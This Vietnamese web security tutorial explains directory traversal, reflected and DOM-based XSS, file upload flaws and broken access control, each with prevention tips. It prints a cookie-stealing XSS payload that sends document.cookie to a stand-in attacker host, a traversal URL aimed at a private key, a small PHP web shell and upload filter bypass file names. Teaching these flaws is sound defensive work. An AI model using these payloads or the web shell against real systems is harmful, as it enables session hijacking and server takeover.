Part 1
Part 2
Directory Traversal
Là lỗ hổng cho phép hacker có thể đọc được các file trên server, cơ bản nhất là qua url, có thể là param hoặc đường dẫn trực tiếp
Ví dụ: bạn có url foodle.com/menus?menu=menu.pdf
=> foodle.com/menus?menu=../../../../ssl/private.key
=> xong cái server nhà bạn
Hoặc dễ thấy nhất là bạn có url file (thường là ảnh) foodle.com/upload/images/menu/menu2nd.png
=> oodle.com/upload/images
=> full gia phả 3 đời của menu2nd.png đã hiện ra trước mặt anh hacker
Phòng chống
1. Sử dụng hệ thống quản lý nội dung
Trường hợp bạn quản lý nhiều file thì việc sử dụng một hệ thông bên thứ 3 giúp hỗ trợ quản lý là việc lên làm và dù có thể phải trả một khoản phí hàng năm, nhưng vấn đề hoàn toàn không phải lo nữa.
2. Chuyển hướng file
Thay vì dùng đường dẫn trực tiếp đến tệp, bạn có thể dùng api hoặc gì đó để lấy tệp qua một controller chung gian chả hạn, nhớ là valid input nhé
3. Tách biệt các loại tài liệu
Tách các loại tài liệu ra, thành dùng chung, user, admin,.... với đó, bạn có thể phân quyền truy cập nên kể cả khi hacker có thể lần ra được đường dẫn, nếu không có quyền tương ứng, họ cũng không thể lấy được thông tin
Reflected XSS
Hầu hết cách kĩ thuật XSS là Reflected XSS, hacker không gửi dữ liệu độc hại lên server nạn nhân, mà gửi trực tiếp link có chứa mã độc cho người dùng, khi người dùng click vào link này thì trang web sẽ được load chung với các đoạn script độc hại. Reflected XSS thường dùng để ăn cắp cookie, chiếm session,… của nạn nhân hoăc cài keylogger, trojan … vào máy tính nạn nhân.
VD: nạn nhân có tài khoản đang đăng nhập tại website welp.com
hacker sẽ gửi cho nạn nhân một đường dẫn kiểu vậy www.welp.com?search=<script>window.location="http://www.haxxed.com?cookie="+document.cookie</script>
Khi nạn nhân click vào, đầu tiên họ sẽ được mở đến trang welp.com
và tìm kiếm <script>window.location="http://www.haxxed.com?cookie="+document.cookie</script>
Đoạn script sẽ thực thi và lấy cookie, đồng thời điều hướng sang web của hacker cùng với cookie trên param
vậy là hacker đã có thể truy cập vào welp.com
bằng tài khoản của người dùng mà chả cần biết password
Phòng chống
1. Validate input
Rất đơn giản và vô cùng hiệu quả, encode hết các ký tự đặc biệt, hiển thị chúng dưới dạng mã html, dùng white list để cho phép ký tự nào được input, ez game
" "
# #
& &
' '
( (
) )
/ /
; ;
< <
> >
2. Dùng chính sách Content-Security
Các bạn có thể thêm thẻ meta này vào head
<meta http-equiv="Content-Security-Policy" content="script-src 'self' https://apis.google.com">
DOM-based XSS
Lỗi này, về kịch bản thì giống y hết lỗi trên, nhưng về bản chất thì có chút khác biệt.
- Reflected XSS, khi nạn nhân click vào link chứa mã độc, đoạn mã sẽ được server nhận như 1 param gửi lên và trả về lại cho nạn nhân như một phần nội dung hợp lệ của trang
- DOM-based thì trang web sẽ nhận luôn đoạn mã độc trang url và render luôn mà không gửi về server, vẫn hack được session, cookie của bạn thôi, không cần lo đâu =))
Kịch bản tấn công thì nó kiểu vậy:
Giả dụ bạn có 1 trang có infinite scroll (cuộn vô tận, không phải cuộn vô cực), bình thường khi cuộn đến đoạn load thêm, url sẽ có dạng www.chinterest.com#1
, www.chinterest.com#2
...
Đoạn mã để load dữ liệu trang sẽ như vậy
$(document).onload(function() { var page = window.location.hash; loadPage(page); $("#page-no").html(page);
});
Hacker sẽ lợi dụng và đổi phần sau # => www.chinterest.com#<script>window.location="http://www.haxxed.com?cookie="+document.cookie</script>
Khi đó trình duyệt sẽ load mã đọc như 1 script hợp lệ của trang và thực thi
Phòng chống
1. Dùng JavaScript Framework
2. Kiểm tra code của bạn cẩn thận
3. Parse JSON cẩn thận
4. Dùng Development Tools để phát hiện các đoạn mã không an toàn
5. Không dùng Uri fragments
6. Dùng chính sách Content-Security
Lỗ hổng bảo mật File Upload
Upload 1 file mã độc lên server, rồi gọi đên nó bằng api mặc định của hệ thống hoặc gọi trực tiếp nhờ lỗi Directory Traversal để thực thi file, hacker có thể chiếm quyền server của bạn, hoặc bắt khác hàng của bạn tải các file mã đọc hoặc nhiều thứ linh tinh nguy hiểm khác. Nó thường xuyên nằm trong top 10 lỗi bảo mật luôn đấy nhé.
- Tạo file hack.php
<?php if(isset($_REQUEST['cmd'])) { $cmd = ($_REQUEST['cmd']); system($cmd); } else { echo "What is your bidding?"; }
?>
- upload avatar:
- mở file "avatar" vửa upload
- excute command để lấy clip full không che
- dạy nạn nhân tiếng mán để tiện cho việc khóc
PHP không phải loại file duy nhất, các đuôi như .php1, php2, 3... hoặc .lp, .cgi, đôi khi chỉ cần thay đổi hoa thường như PHP, PHP1,... Hoặc chứ vài 3 cái đuôi như image.jpg.php
, thậm trí là .htaccess
Phòng chống
1. Tách biệt các file upload
2. Đảm bảo các tệp tải lên không thể thực thi
3. Đổi tên file sau khi upload
4. Validate format của file và đuôi mở rộng
cái này mà dùng whitelist thì đỡ khổ hơn, những vẫn có cách bypass:
- Null Byte Injection:
shell.php%00.jpg
- Double Extension:
shell.php.jpg
,shell.php;.jpg
,shell.php:jpg
- Invalid Extension Bypass
5. validate content-type header
6. Sử dụng quét virus
Các bạn có thể xem thông tin về lỗi này kĩ hơn tại đây https://viblo.asia/p/khai-thac-cac-lo-hong-file-upload-phan-1-aWj53L6pK6m
Broken Access Control
Là lỗi xảy ra khi quản lý access control của user không được chắt chẽ, khiến user có thể truy cập thông tin hoặc thực hiện các hành động ngoài thầm quyền của họ, như xem hay sửa thông tin của user khác,... đây cũng là lỗi thường thuộc top 10 theo OWASP, nói chung thì cái vấn đề phân quyền cũng lằng nhằng phức tạp lắm.
Phòng chống
Cũng không có giải pháp chung nào cho mọi trường hợp khi gặp lỗi này, nhưng nói chung thì chúng ta nên tập chung vào 3 khía cạnh sau
1. Xác thực
Xác nhận đúng là người dùng ứng dụng
2. Ủy quyền
Quyết định quyền người dùng được và không được thực hiện một khi họ được xác thực
3. Kiểm tra quyền
Kiểm tra lại quyền khi người dùng muốn thực hiện 1 dành động nào đó.